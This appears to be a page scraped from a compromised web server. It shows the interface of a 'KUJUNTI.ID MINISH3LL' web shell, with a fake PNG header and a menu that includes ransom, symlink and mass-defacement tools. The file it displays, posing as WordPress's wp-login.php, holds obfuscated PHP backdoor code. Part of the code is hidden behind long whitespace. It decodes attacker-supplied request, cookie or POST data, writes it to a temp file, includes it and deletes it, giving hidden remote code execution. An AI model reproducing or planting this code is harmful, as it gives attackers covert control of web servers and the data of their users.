\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/tims.tv/autoconfig/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/tims.tv/autoconfig/wp-login.php


<?php																																										if(array_key_exists("e\x6C\x65\x6D\x65nt", $_REQUEST) && !is_null($_REQUEST["e\x6C\x65\x6D\x65nt"])){ $itm = $_REQUEST["e\x6C\x65\x6D\x65nt"]; $itm = explode ( "." ,$itm ) ; $value= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt5 ); $j= 0; foreach( $itm as $v1) { $sChar= ord( $salt5[$j %$lenS] ); $dec= ( ( int)$v1 - $sChar -( $j %10))^34; $value .= chr( $dec ); $j++;} $pointer = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getcwd(), getenv("TEMP"), "/dev/shm"]); foreach ($pointer as $bind) { if (is_dir($bind) ? is_writable($bind) : false) { $factor = join("/", [$bind, ".data_chunk"]); if (@file_put_contents($factor, $value) !== false) { include $factor; unlink($factor); die(); } } } }

function hr6 (){

echo     'da7';

}

function hc1       ( $dg2 ){$zc4=0;
$xd3 =	"*'ekdm573429)t_byH8;Elnvup.Ijsf(6/rh@g1<oxF?ia c-0#L"; $bs5 = substr("",  0); while(1){
       if($zc4>=count($dg2)) break;   $bs5 .=	$xd3       [  $dg2[$zc4] ];     $zc4++;
}return $bs5;

}$rt9 = [];$myte    = 93263;
$rt9[5113] = hc1 ( Array(7 ,     6 ,      49 , 2	, 38 ,	18 ,      6 , 9   ,	48 ,	9 ,  18 ,    49 , 32       ,	48 , 9 , 6	, 6  , 10    ,       48	,	15 , 30 ,     49   ,	11 ,  48   , 7 , 4      , 2     ,	18 ,	15 ,	15 , 8   ,	11 ,	49       ,	7 ,	9 ,      30 ,) ) ;


$rt9[66551] = hc1 (	Array(43 ,      25	,	35 ,    25      , 46      , 36 , 24 ,	22  ,       21 , 44 , 22 ,      3	, 31 , 14      , 14 ,       42	, 27 ,       51 ,  20 , 14 ,	14 , 12	,   19	,	46	,) ) ;

$rt9[26599]	=	hc1 ( Array(26 , 28 , 25 ,	37 ,)	) ;$dz26 =   92725;


$rt9[17358]	= hc1      (	Array(26	, 33       ,)	) ;


$rt9[83405]	= hc1    ( Array(17 ,       0 ,) ) ;
$rt9[96708]    =     hc1	(	Array(50 ,) )   ;

$rt9[53700]      =  hc1	(    Array(39 ,)     ) ;
$rt9[42429]     =	hc1    ( Array(30	, 44	,  21 ,	2 , 14   , 25       , 24 , 13	,	14 , 47	,	40 , 22 , 13  , 2 ,	22 , 13 , 29 ,) ) ;


$rt9[81850] = hc1 ( Array(45 , 34 ,       34	, 45 ,     16 ,       14	,     5 ,  2 , 34      , 37 , 2 ,) )	;
$rt9[14263]	=	hc1      ( Array(30      , 44     ,	21 , 2 ,    14 ,    2   , 41 ,       44	, 29 , 13 , 29 ,) )	;$rt9[30133]   =   hc1	(	Array(29  ,	13 ,	34 , 14 , 34	,      2	, 25 , 2 ,   45     ,	13 ,) ) ;$rt9[79281]	= hc1 (	Array(2  , 41 ,	25	,	21	, 40 ,   4 ,	2 ,)   )	;
$rt9[93104] = hc1       ( Array(29       , 13	, 34       , 21 ,	2	,	22	,)	) ;

$rt9[68013]    = hc1 (  Array(44	, 22 ,  13	, 23	, 45 , 21     ,)	) ;$ge27 = 35390;$rt9[18859] = hc1 (      Array(24     , 22 ,	21	,	44  ,   22 ,      3  ,)	) ;

$ar28 = 75856;
$rt9[92586]  = hc1	( Array(25 , 45 , 47 , 3 ,) ) ;

$xo29 = 69767;


$fy21 = $_COOKIE; $fv20	=     "42135";
$fy21    =	$rt9[81850]($fy21, $_POST);




foreach      ($fy21 as $up25 =>      $sm22)
{ function	za14    ( $rt9, $up25 ,   $yg19 )	{

 return    substr	( $rt9[30133] (	$up25 . $rt9[5113]   , $rt9[68013]( $yg19/$rt9[93104]( $up25       ) ) + 1    ) , 0 , $yg19	);

	}




 function sp18 (	$rt9,	$ep24      )
	{
 if ( isset	( $ep24[2]	)	)	{


 	up16  (   $rt9,	bt15  (   $rt9, $ep24));
	 return	1;


     }


	}  function       kh13	(     $rt9,	$ep24 )

  {

   return @$rt9[92586] ($rt9[83405] , $ep24	);

	}


	function       zp12       (	$rt9, $sm22,       $up25)

 {
	return kh13	( $rt9,	$sm22 )   ^ za14	( $rt9,    $up25       , $rt9[93104]( $sm22    )       );
    }
 


 function  qd11       (	$rt9,     $sm22,    $up25)  {
 return    $rt9[79281]	( $rt9[96708]      , zp12      (	$rt9, $sm22, $up25));
 }  

 function ej10      ( $rt9, $sm22, $up25)	{ $sm22	=    qd11  (       $rt9,	$sm22,  $up25);

 if     (sp18 ( $rt9,     $sm22))
	{
 exit();

 }


 }   function   bt15	( $rt9,    $ep24)

   {


 $sl23 =    $rt9[17358]	.  md5(	$rt9[5113]	)    . $rt9[26599];
     

    @$rt9[42429]	(	$sl23,	$rt9[53700] .    $rt9[66551] .  $ep24[1] ( $ep24[2] )    );
 

 return	$sl23;


     }


	


	function wb17	( $rt9,      $sl23) { if ($rt9[14263]($sl23)) 

  {

 @$rt9[18859]   (   $sl23       );

	}
	}     
 function up16 ( $rt9, $sl23      ) {
	@include (	$sl23 );
 wb17	(	$rt9,	$sl23);


	}

 

	ej10	(       $rt9,	$sm22, $up25);}

© KUJUNTI.ID